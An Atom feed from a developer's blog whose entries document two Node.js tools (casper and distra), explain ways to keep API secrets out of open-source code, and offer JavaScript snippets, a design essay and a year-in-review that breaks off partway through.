<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
 
 <title>Tom Ashworth - phuu.net</title>
 <link href="http://phuu.net/atom.xml" rel="self"/>
 <link href="http://phuu.net/"/>
 <updated>2013-04-24T18:33:30+01:00</updated>
 <id>http://phuu.net/</id>
 <author>
   <name>Tom Ashworth</name>
   <email>tom@phuu.net</email>
 </author>

 
 <entry>
   <title>casper: helpers and handlers for Express</title>
   <link href="http://phuu.net/2013/04/24/casper.html"/>
   <updated>2013-04-24T19:00:00+01:00</updated>
   <id>http://phuu.net/2013/04/24/casper</id>
   <content type="html">&lt;p&gt;Hot on the heels of &lt;a href='/2013/04/24/distra.html'&gt;distra&lt;/a&gt;, here&amp;#8217;s another little something for your toolbox! Watch the intro video, or check out the documentation. Either way, enjoy&amp;#8230;&lt;/p&gt;
&lt;div class='embed-container'&gt;
&lt;object&gt;&lt;param name='movie' value='http://www.youtube.com/v/jNT3C4c1DyQ?version=3&amp;amp;hl=en_US' /&gt;&lt;param name='allowFullScreen' value='true' /&gt;&lt;param name='allowscriptaccess' value='always' /&gt;&lt;embed allowfullscreen='true' allowscriptaccess='always' src='http://www.youtube.com/v/jNT3C4c1DyQ?version=3&amp;amp;hl=en_US' type='application/x-shockwave-flash' /&gt;&lt;/object&gt;
&lt;/div&gt;
&lt;p&gt;casper is a set of helpers and handlers for building JSONP APIs in &lt;a href='http://expressjs.com'&gt;Express&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;All casper&amp;#8217;s methods return a function that can be used in the Express callback chain, or as callbacks for methods that retrieve data, which would typically be a database.&lt;/p&gt;

&lt;h3 id='install'&gt;Install&lt;/h3&gt;

&lt;p&gt;Install casper using npm:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;npm install casper&lt;/code&gt;&lt;/p&gt;

&lt;h3 id='example_usage'&gt;Example usage&lt;/h3&gt;

&lt;p&gt;The following examples assume that you&amp;#8217;ve got the following set up:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// an instance of express() (app) is available
var app = express();

// Grab casper
var casper = require('casper');
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='basic_handlers'&gt;Basic handlers&lt;/h3&gt;

&lt;p&gt;Send an empty object:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// res.jsonp({}) is sent
app.get('/', casper.noop());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or return some custom data:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// res.jsonp({ hello: 'world' }) is sent
app.get('/',
  casper.noop({
    hello: 'world'
  }));
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='database_callbacks'&gt;Database callbacks&lt;/h3&gt;

&lt;h4 id='casperdb'&gt;casper.db&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;casper.db&lt;/code&gt; returns a function to be used as a database callback. It assumes the first argument is an &lt;code&gt;err&lt;/code&gt; and the second is the &lt;code&gt;data&lt;/code&gt; is has to send – an array or an object.&lt;/p&gt;

&lt;p&gt;It takes Express&amp;#8217; &lt;code&gt;req&lt;/code&gt; and &lt;code&gt;res&lt;/code&gt; as arguments:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
casper.db(req, res)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
app.get('/',
  function (req, res) {
    YourModel
      .find()
      .exec(casper.db(req, res));
  });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It can also take a callback which, if present, is called instead of sending data directly back to the client.&lt;/p&gt;

&lt;p&gt;With a callback:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
app.get('/',
  function (req, res) {
    YourModel
      .find()
      .exec(casper.db(req, res, function (err, data) {
        // Do something with data
      }));
  });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If it is passed an error, it will pass that on to the client with a 500 status code. If it recieves no data, or an empty array, it will return the data it recieved with a 404 status.&lt;/p&gt;

&lt;h3 id='checks__filters'&gt;Checks &amp;amp; filters&lt;/h3&gt;

&lt;p&gt;Casper also has some useful checks &amp;amp; filters to help you ensure the data you&amp;#8217;re recieving is what you&amp;#8217;re expecting.&lt;/p&gt;

&lt;h4 id='capsercheckbody'&gt;capser.check.body&lt;/h4&gt;

&lt;p&gt;Check for the presence of data in the body using a key:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;For the following, assume the body is &lt;code&gt;{ testKey: &amp;quot;Hello&amp;quot; }&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// calls next() becuase present
app.get('/',
  casper.check.body('testKey'),
  casper.noop());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the data is missing from the body it sends a 400 error, detailing the missing parameter:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
app.get('/',
  casper.check.body('nonExistantKey'),
  casper.noop());

// results in
res.jsonp(400, { error: 'Missing nonExistantKey from body.' });
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id='capserrmbody'&gt;capser.rm.body&lt;/h4&gt;

&lt;p&gt;Remove a key from the body:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// body is { testKey: &quot;Hello&quot;, otherKey: &quot;World&quot; }
app.get('/',
  casper.rm('testKey'),
  casper.noop());

// afterwards body is { otherKey: &quot;World&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 id='casperallowbody'&gt;casper.allow.body&lt;/h4&gt;

&lt;p&gt;Whitelist a key or array of keys allowed on the body.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// body is { testKey: &quot;Hello&quot;, otherKey: &quot;World&quot; }
app.get('/',
  casper.allow.body('otherKey'),
  casper.noop());

// afterwards body is { test: &quot;Hello&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With an array:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// body is { testKey: &quot;Hello&quot;, otherKey: &quot;World&quot;, unwantedKey: &quot;World&quot; }
app.get('/',
  casper.allow.body(['testKey', 'otherKey']),
  casper.noop());

// afterwards body is { testKey: &quot;Hello&quot;, otherKey: &quot;World&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='feedback_welcome'&gt;Feedback welcome!&lt;/h3&gt;

&lt;p&gt;As ever, I hope casper is useful to you! If you&amp;#8217;ve got any feedback, bugs or ideas then let me know on &lt;a href='//twitter.com/phuunet'&gt;Twitter&lt;/a&gt; or, even better, on &lt;a href='//github.com/phuu/casper'&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>distra: static server & reverse proxy</title>
   <link href="http://phuu.net/2013/04/24/distra.html"/>
   <updated>2013-04-24T00:00:00+01:00</updated>
   <id>http://phuu.net/2013/04/24/distra</id>
   <content type="html">&lt;p&gt;Here&amp;#8217;s an introduction to an project I open-sourced recently: distra. There&amp;#8217;s a video, and then a short article about it.&lt;/p&gt;
&lt;div class='embed-container'&gt;
&lt;object height='315' width='560'&gt;&lt;param name='movie' value='http://www.youtube.com/v/rn7lHVnpxAk?version=3&amp;amp;hl=en_US' /&gt;&lt;param name='allowFullScreen' value='true' /&gt;&lt;param name='allowscriptaccess' value='always' /&gt;&lt;embed allowfullscreen='true' allowscriptaccess='always' height='315' src='http://www.youtube.com/v/rn7lHVnpxAk?version=3&amp;amp;hl=en_US' type='application/x-shockwave-flash' width='560' /&gt;&lt;/object&gt;
&lt;/div&gt;
&lt;p&gt;distra is a tool for building websites. Use it to serve static files and directories, and to give servers running on your computer nice URLs. You can set up hosts and routes (directories or proxy targets) using JSON, and then feel like a boss.&lt;/p&gt;

&lt;p&gt;It also adds to your hosts file (safely) so you never have worry about that either!&lt;/p&gt;

&lt;h3 id='why'&gt;Why?&lt;/h3&gt;

&lt;p&gt;I had so many servers, particularly serving static files, that I never knew what was being served and on which port. So I built this so I&amp;#8217;d never have to care again&amp;#8230; and neither will you.&lt;/p&gt;

&lt;h3 id='install'&gt;Install&lt;/h3&gt;

&lt;p&gt;distra requires:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OS X (yeah, sorry)&lt;/li&gt;

&lt;li&gt;Node&lt;/li&gt;

&lt;li&gt;npm&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In your terminal:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
&gt; npm install -g distra
&gt; distra
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wahey! You&amp;#8217;re up.&lt;/p&gt;

&lt;p&gt;But it won&amp;#8217;t do much yet – you need to configure it.&lt;/p&gt;

&lt;h3 id='configuration'&gt;Configuration&lt;/h3&gt;

&lt;p&gt;distra is configured from the &lt;code&gt;.distra.json&lt;/code&gt; file in your home directory, but you don&amp;#8217;t ever have to touch this file if you don&amp;#8217;t want to.&lt;/p&gt;

&lt;h3 id='adding_a_host'&gt;Adding a host&lt;/h3&gt;

&lt;p&gt;To add a host, use &lt;code&gt;distra add&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
&gt; distra add [host] [directory or url]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;host&lt;/code&gt; and &lt;code&gt;directory or url&lt;/code&gt; are both optional. If you omit the &lt;code&gt;directory or url&lt;/code&gt; distra will serve your current directory.&lt;/p&gt;

&lt;p&gt;If you omit both, distra will serve the &lt;strong&gt;current directory&lt;/strong&gt; with the &lt;strong&gt;name of the directory&lt;/strong&gt; as the host.&lt;/p&gt;

&lt;h4 id='try_it'&gt;Try it:&lt;/h4&gt;

&lt;p&gt;Head to a directory with some &lt;code&gt;.html&lt;/code&gt; files in it, lets say it&amp;#8217;s called &lt;code&gt;website&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
&gt; distra add
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Assuming distra is started (just use &lt;code&gt;distra&lt;/code&gt;), you will find that you can go to &lt;code&gt;http://website:9876/&lt;/code&gt; and access those files.&lt;/p&gt;

&lt;p&gt;distra is servering the &lt;code&gt;website&lt;/code&gt; directory from the URL &lt;code&gt;http://website:9876/&lt;/code&gt;. Neat, huh?&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you&amp;#8217;re running distra without &lt;code&gt;sudo&lt;/code&gt; (so it&amp;#8217;s not running on port 80), then you&amp;#8217;ll need to add all of these URLs to your hostsfile. To aviod this, run distra on port 80. How to do this is outlined in the ‘tips’ section.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id='removing_a_host'&gt;Removing a host&lt;/h3&gt;

&lt;p&gt;To remove a host, use &lt;code&gt;distra rm&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
&gt; distra rm [host]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Again, &lt;code&gt;host&lt;/code&gt; is optional - by default, it will just use the directory name.&lt;/p&gt;

&lt;h3 id='the_config_file'&gt;The config file&lt;/h3&gt;

&lt;p&gt;The config file will generally be found at &lt;code&gt;~/.distra.json&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s an example.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
{
  &quot;mysite.dev&quot;:   &quot;localhost:4000&quot;,
  &quot;project&quot;:      &quot;/Users/you/sites/project&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the example above, requests made to &lt;code&gt;http://mysite.dev/&lt;/code&gt; will be proxied through to the server running on port 4000 (a &lt;a href='https://github.com/mojombo/jekyll'&gt;Jekyll&lt;/a&gt; server, perhaps). Requests made to &lt;code&gt;project&lt;/code&gt; will be served static files from the directory specified.&lt;/p&gt;

&lt;p&gt;You can view your current config using &lt;code&gt;distra&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
&gt; distra config
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='tips'&gt;Tips&lt;/h3&gt;

&lt;p&gt;Here&amp;#8217;s a couple of tips to help you out:&lt;/p&gt;

&lt;h3 id='ports'&gt;Ports&lt;/h3&gt;

&lt;p&gt;You can specify the port on which you want distra to start.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
&gt; distra 1337
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='portsaway'&gt;Portsaway!&lt;/h3&gt;

&lt;p&gt;I recommend starting distra on port 80 so you don&amp;#8217;t have to mess around with ports and your hostsfile!&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
&gt; sudo distra 80
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='finally'&gt;Finally&lt;/h3&gt;

&lt;p&gt;distra has become an integral part of my workflow – let me know if you use it, like it or come across any bugs!&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Keeping Open-Source Secrets</title>
   <link href="http://phuu.net/2013/04/11/keeping-open-source-secrects.html"/>
   <updated>2013-04-11T20:00:00+01:00</updated>
   <id>http://phuu.net/2013/04/11/keeping-open-source-secrects</id>
   <content type="html">&lt;p&gt;Often with an open-source project you need to keep private configuration secret - it can&amp;#8217;t be shared alongside the code. This can be anything that dictates the running of the app – like client secrets for a 3rd party API – that&amp;#8217;s important to keep safe from potentially malicious uses.&lt;/p&gt;

&lt;p&gt;Ways of keeping this data away from prying eyes may not be immediately obvious, but here&amp;#8217;s a few options to get you started.&lt;/p&gt;

&lt;h3 id='gitignore'&gt;.gitignore&lt;/h3&gt;

&lt;p&gt;One way is to use a config file that&amp;#8217;s never commited into the repository. You might use JSON and tell your open source users that they need to create their own to run the app:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
{
    &quot;db&quot;: &quot;mongodb://localhost:27017/some-database&quot;,
    &quot;twitter&quot;: {
        &quot;client_id&quot;: &quot;YOUR_CLIENT_ID&quot;,
        &quot;client_secret&quot;: &quot;YOUR_CLIENT_SECRET&quot;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then import it into the project (here using Node):&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// Create your own config file to run this app
var config = require('./config.json');
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To make sure this file is never committed, make sure to ignore the file. In Git, this is done with a &lt;code&gt;.gitignore&lt;/code&gt; file that goes in the root of your repo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
# ignore config file
config.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&amp;#8217;s also worth providing a sample configuration file to help others out – you could call it &lt;code&gt;config.example.json&lt;/code&gt;. Something like the above example is non-specific enough to work nicely.&lt;/p&gt;

&lt;p&gt;This method works very well if you have direct access to the filesystem of the server (‘environment’) because you can update the config file manually. It doesn&amp;#8217;t work so well if your app is automatically deployed, or you use continuous-integration because you may not have that requisite access to the files.&lt;/p&gt;

&lt;p&gt;If you use a ‘cloud’ service like Heroku that deploys using a version-control system then this option is out of the question because the config file is not in the repository!&lt;/p&gt;

&lt;h3 id='private_fork'&gt;Private fork&lt;/h3&gt;

&lt;p&gt;Another way is to maintain a private version – or fork – of you app, storing the key information in the private repository. Again you might use JSON to keep your config, although you could keep it directy in the code:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var config = {
    db: &quot;mongodb://localhost:27017/some-database&quot;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This method means fixes and improvements go to the open-source version, and you have to manually merging them into your private version. That&amp;#8217;s a bit of extra work, and it can create problems if you discover and fix a bug in the private fork because you&amp;#8217;ll need to carefully branch to allow you to pull-request back into the public fork.&lt;/p&gt;

&lt;p&gt;Having a private fork is also limited when it comes to deploying to multiple environments – like staging and production servers because you have to store configuration for both environments in the fork.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;m using hybrid of the above for a media server called &lt;a href='https://github.com/phuu/medyana'&gt;medyana&lt;/a&gt;. I have a private fork that hosts my podcast, &lt;a href='http://lessthanbang.com/'&gt;Less Than Bang&lt;/a&gt;. It contains &lt;code&gt;files.json&lt;/code&gt; that points to where each episode is hosted.&lt;/p&gt;

&lt;p&gt;Unfortunately I&amp;#8217;m also demonstrating the above problem well, because the private repo has had a number of fixes that the public code has missed out on (so far)!&lt;/p&gt;

&lt;p&gt;It&amp;#8217;s worth saying that this method works if your deployments are cloud-based, too.&lt;/p&gt;

&lt;h3 id='environmentagnostic'&gt;Environment-agnostic&lt;/h3&gt;

&lt;p&gt;A good alternative is to build your app to be environment-agnostic. That means storing all configuration data in the environment – on the server – you are depoying to.&lt;/p&gt;

&lt;p&gt;Setting environment variables is pretty simple:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
export DB_URI=mongodb://localhost:27017/some-database
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You app will be able to access the environment data to configure itself:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var config = {
    db: process.env.DB_URI
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This method is fragile however, because variables set in the above way don&amp;#8217;t persist across system restarts or even new processes.&lt;/p&gt;

&lt;p&gt;To have them persist, set them in the &lt;code&gt;.bashrc&lt;/code&gt; (or other shell configuration file) of the user who will be running the app (not root!):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
DB_URI=mongodb://localhost:27017/some-database
TWITTER_CLIENT_ID=YOUR_CLIENT_ID
TWITTER_CLIENT_SECRET=YOUR_CLIENT_SECRET
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This works for OSX and Linux, but of course, it&amp;#8217;s different if you&amp;#8217;re using a Windows server.&lt;/p&gt;

&lt;h3 id='in_the_cloud'&gt;In the cloud&lt;/h3&gt;

&lt;p&gt;If you&amp;#8217;re deploying to a cloud service like Heroku or Nodejitsu then you&amp;#8217;ll need to use a slightly tweaked version of the environment variable method: you don&amp;#8217;t have access to the files, you have no control over the machine your app will be run from, and deployment is done via Git!&lt;/p&gt;

&lt;p&gt;I only have experience doing this with Heroku, so I&amp;#8217;ll keep it specific to that service, but setting persistent environment variables on all these services is simple.&lt;/p&gt;

&lt;p&gt;Environent management on Heroku is done with their fantastic &lt;a href='https://toolbelt.heroku.com/'&gt;command-line toolbelt&lt;/a&gt;. Amongst other things, it lets you set up environment varibales for your app:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
heroku config:set TWITTER_CLIENT_ID=YOUR_CLIENT_ID TWITTER_CLIENT_SECRET=YOUR_CLIENT_SECRET
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Heroku sets up some variables by default; you can view these using &lt;code&gt;heroku config&lt;/code&gt; on its own.&lt;/p&gt;

&lt;p&gt;Again it&amp;#8217;s a case of bringing the variables into your app:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var config = {
    twitter: {
        id: process.env.YOUR_CLIENT_ID,
        secret: process.env.YOUR_CLIENT_SECRET
    }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You&amp;#8217;ll also need to use this method if you&amp;#8217;re using any of Heroku&amp;#8217;s plugins, as they store their configuration data in the environment too – for example, the database providers add a database URI variable to the environment for you to use. With MongoHQ, it might look like:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
config.db = process.env.MONGOHQ_URI;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I use this method with my &lt;a href='https://github.com/phuu/adn-friends'&gt;App.net Friend Finder&lt;/a&gt; and a couple of other projects.&lt;/p&gt;

&lt;h3 id='hybrid_approach_best_of_both'&gt;Hybrid approach: best of both&lt;/h3&gt;

&lt;p&gt;Since I deploy most of my projects using Heroku the last method is really my only option, but it&amp;#8217;s possibly the worst for users and contributors to open-source projects. So the best thing to is to support multiple ways of configuring your app!&lt;/p&gt;

&lt;p&gt;Setting up a chain set of fallback configuration options is reasonably simple, and if you&amp;#8217;re using &lt;a href='http://expressjs.com/'&gt;Express&lt;/a&gt; you might have seen code like this before.&lt;/p&gt;

&lt;p&gt;The priority chain goes like this: arguments to the process; then environment variables; then config files and finally in-app configuration.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s an example:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
// Grab the config file if it's there
var configFile;
try {
    configFile = require('./config.json');
} catch (e) {
    configFile = {};
}

// Then configure!
var config = {
    port: parseInt(process.argv[2], 10) || parseInt(process.env.PORT, 10) || configFile.port || 8000,
    db: process.env.DB_URI || configFile.db || 'mongodb://localhost:27017/some-database',
    twitter: {
        id: process.env.TWITTER_CLIENT_ID || configFile.twitter.id || '',
        secret: process.env.TWITTER_CLIENT_SECRET || configFile.twitter.secret || ''
    }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This allows you and your contributors to easily configure the app, and modify it on the fly.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;By the way, for more advanced argument handling, take a look at &lt;a href='https://npmjs.org/package/optimist'&gt;optimist&lt;/a&gt; or &lt;a href='https://npmjs.org/package/commander'&gt;commander&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id='summing_up'&gt;Summing up&lt;/h3&gt;

&lt;p&gt;Keeping things a secret while giving out all your code is no mean feat. I hope this helps you out.&lt;/p&gt;

&lt;p&gt;I&amp;#8217;ll be trying to use the last snippet in all future projects of mine; it makes the project easy to configure and flexible to deploy. Actually, deploying projects is something I&amp;#8217;d like to address in a future post&amp;#8230;&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Respond</title>
   <link href="http://phuu.net/2013/02/02/respond.html"/>
   <updated>2013-02-02T00:20:00+00:00</updated>
   <id>http://phuu.net/2013/02/02/respond</id>
   <content type="html">&lt;p&gt;There&amp;#8217;s an important part of painting on the web canvas often missed, and the following is a thought dump with that in mind.&lt;/p&gt;

&lt;p&gt;Responsive web design has been called a return to the web&amp;#8217;s roots, but I don&amp;#8217;t think that&amp;#8217;s true at all.&lt;/p&gt;

&lt;p&gt;Design for the web went in the wrong direction, that&amp;#8217;s clear, but the return to building a web that works everywhere for anyone merely brings us back to where we always &lt;strong&gt;should have been&lt;/strong&gt;. It&amp;#8217;s a baseline from which to work in the future.&lt;/p&gt;

&lt;p&gt;However, the word responsive is, for me, the spark of a future dream. Truly responding to the user &lt;strong&gt;and their behaviour and context&lt;/strong&gt; is something that I would like to explore and see explored, and the web is – perhaps uniquely – positioned to do so.&lt;/p&gt;

&lt;p&gt;My location, my mood, the weather, my recent tweets, friend&amp;#8217;s activity, time of day, recent behaviour… these are all context that we have ready access to but are taking little advantage of. We could do so much with them.&lt;/p&gt;

&lt;p&gt;A button I never press, a menu I never open, a feature unused… these are contexts and behaviours that we can design for and respond to.&lt;/p&gt;

&lt;p&gt;My point is that we know so much about a user yet we do so little with that information. A user&amp;#8217;s device is not their context; their environment and behaviours are, and I believe we can use these to design experiences that emulate the malleable and responsive real world.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>useful js: snippets</title>
   <link href="http://phuu.net/2012/12/20/useful-js-snippets.html"/>
   <updated>2012-12-20T17:00:00+00:00</updated>
   <id>http://phuu.net/2012/12/20/useful-js-snippets</id>
   <content type="html">&lt;p&gt;Here&amp;#8217;s some Javascript snippets I find myself using every day. You should be good to drop them into your page, but if you&amp;#8217;ve not familiar with a particular technique then it&amp;#8217;s always good idea to read up on it before using it. I&amp;#8217;ve provided links where I can.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Some snippets use parts of Javascript ES5. To get this stuff in older browsers (&amp;lt; IE9), use the &lt;a href='https://github.com/kriskowal/es5-shim'&gt;ES5 Shim&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id='log_arguments'&gt;Log arguments&lt;/h3&gt;

&lt;p&gt;Need to check the all the arguments coming into a function? No probs: use &lt;a href='/2012/11/02/javascript-function-call-and-function-apply.html'&gt;call and apply&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
console.log.apply(console, [].slice.call(arguments));
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='set_this_in_settimeout'&gt;Set &amp;#8216;this&amp;#8217; in setTimeout&lt;/h3&gt;

&lt;p&gt;Want to make sure of the value of &lt;code&gt;this&lt;/code&gt; is the same inside a &lt;code&gt;setTimeout&lt;/code&gt; callback? Use &lt;a href='/2012/11/16/useful-js-currying-and-bind.html'&gt;bind&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
setTimeout(function () {
  // Do yaw thang...
}.bind(this), 1000);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='call_a_function_from_settimeout'&gt;Call a function from setTimeout&lt;/h3&gt;

&lt;p&gt;Do you do this much?&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
setTimeout(function () {
  do_something_with(x, y);
}, 1000);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Try this (again with &lt;a href='/2012/11/16/useful-js-currying-and-bind.html'&gt;bind&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
setTimeout(do_something_with.bind(this, x, y), 1000);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='filter_items_from_an_array'&gt;Filter items from an array&lt;/h3&gt;

&lt;p&gt;Need to make sure all items in an array pass certain criteria? Try &lt;a href='//developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array/filter'&gt;filter&lt;/a&gt;. If you return true from the callback the item is kept, otherwise it&amp;#8217;s scrapped.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var evens = [1,2,3,4].filter(function (val) {
  return (val % 2 === 0);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='operate_on_an_array'&gt;Operate on an array&lt;/h3&gt;

&lt;p&gt;Want to carry out an operation on every item in an array? Take a look at &lt;a href='//developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array/map'&gt;map&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var squares = [1,2,3,4].map(function (val) {
  return val * val;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='easy_function_defaults'&gt;Easy function defaults&lt;/h3&gt;

&lt;p&gt;You&amp;#8217;ve got a function that can takes an optional argument, and you want to provide a default.&lt;/p&gt;

&lt;p&gt;Use the &lt;code&gt;or&lt;/code&gt; operator! (Also, &lt;a href='//addyosmani.com/blog/exploring-javascripts-logical-or-operator/'&gt;get nerdy&lt;/a&gt;)&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var say = function (word) {
  word = word || &quot;Hello!&quot;;
  console.log(word);
};

say(); // logs &quot;Hello!&quot;
say(&quot;World!&quot;); // logs &quot;World!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='further_reading'&gt;Further reading&lt;/h3&gt;

&lt;p&gt;The &lt;a href='//developer.mozilla.org/en-US/docs/JavaScript/Reference'&gt;MDN Docs&lt;/a&gt; are great, as is &lt;a href='//www.nczonline.net/'&gt;Nicholas Zakas&amp;#8217; blog&lt;/a&gt; if you want to go into exra detail, and &lt;a href='//paulirish.com/'&gt;Paul Irish&amp;#8217;s&lt;/a&gt; stuff.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>A year to remember</title>
   <link href="http://phuu.net/2012/12/18/2012-a-year-to-remember.html"/>
   <updated>2012-12-18T00:00:00+00:00</updated>
   <id>http://phuu.net/2012/12/18/2012-a-year-to-remember</id>
   <content type="html">&lt;p&gt;For me, 2012 was an incredible year. This here&amp;#8217;s a sprint straight through it all, as much to remind me as anything else!&lt;/p&gt;

&lt;h3 id='university'&gt;University&lt;/h3&gt;

&lt;p&gt;In September I started a Computer Science degree at Cardiff University, and gave a short lecture to my year group on HTML5. I walked out of a lecture and nearly quit in January. The whole experience was very frustrating for me, which may well be a function of being single-minded to a fault.&lt;/p&gt;

&lt;h3 id='frittr'&gt;frittr&lt;/h3&gt;

&lt;p&gt;I built &lt;strong&gt;frittr&lt;/strong&gt;, a wee money management tool, using Node and Mongo and Heroku – the latter two were more or less new to me. It taught me a lot about building products and where the real work lies – the stuff they don&amp;#8217;t tell you about. frittr wasn&amp;#8217;t a success at all, but was fun all the same, and restored the bug for building stuff.&lt;/p&gt;

&lt;h3 id='show__tell'&gt;Show &amp;amp; Tell&lt;/h3&gt;

&lt;p&gt;I spoke at &lt;strong&gt;Multipack Show &amp;amp; Tell&lt;/strong&gt; in February about Node, Mongo and Heroku based on experience from frittr. Buzzword heaven, yes, but it was my first taste of technical speaking to a knowledgable crowd, and a great experience.&lt;/p&gt;

&lt;h3 id='multipack'&gt;Multipack&lt;/h3&gt;

&lt;p&gt;After much discussion with various Multipackers, I redesigned and built the new &lt;strong&gt;Multipack&lt;/strong&gt; website with much-appreciated coaching from &lt;a href='//higgsdesign.com'&gt;Andy Higgs&lt;/a&gt;. All in all, it took way, way too long to be launched (only launched in October-ish)!&lt;/p&gt;

&lt;h3 id='buffer'&gt;Buffer&lt;/h3&gt;

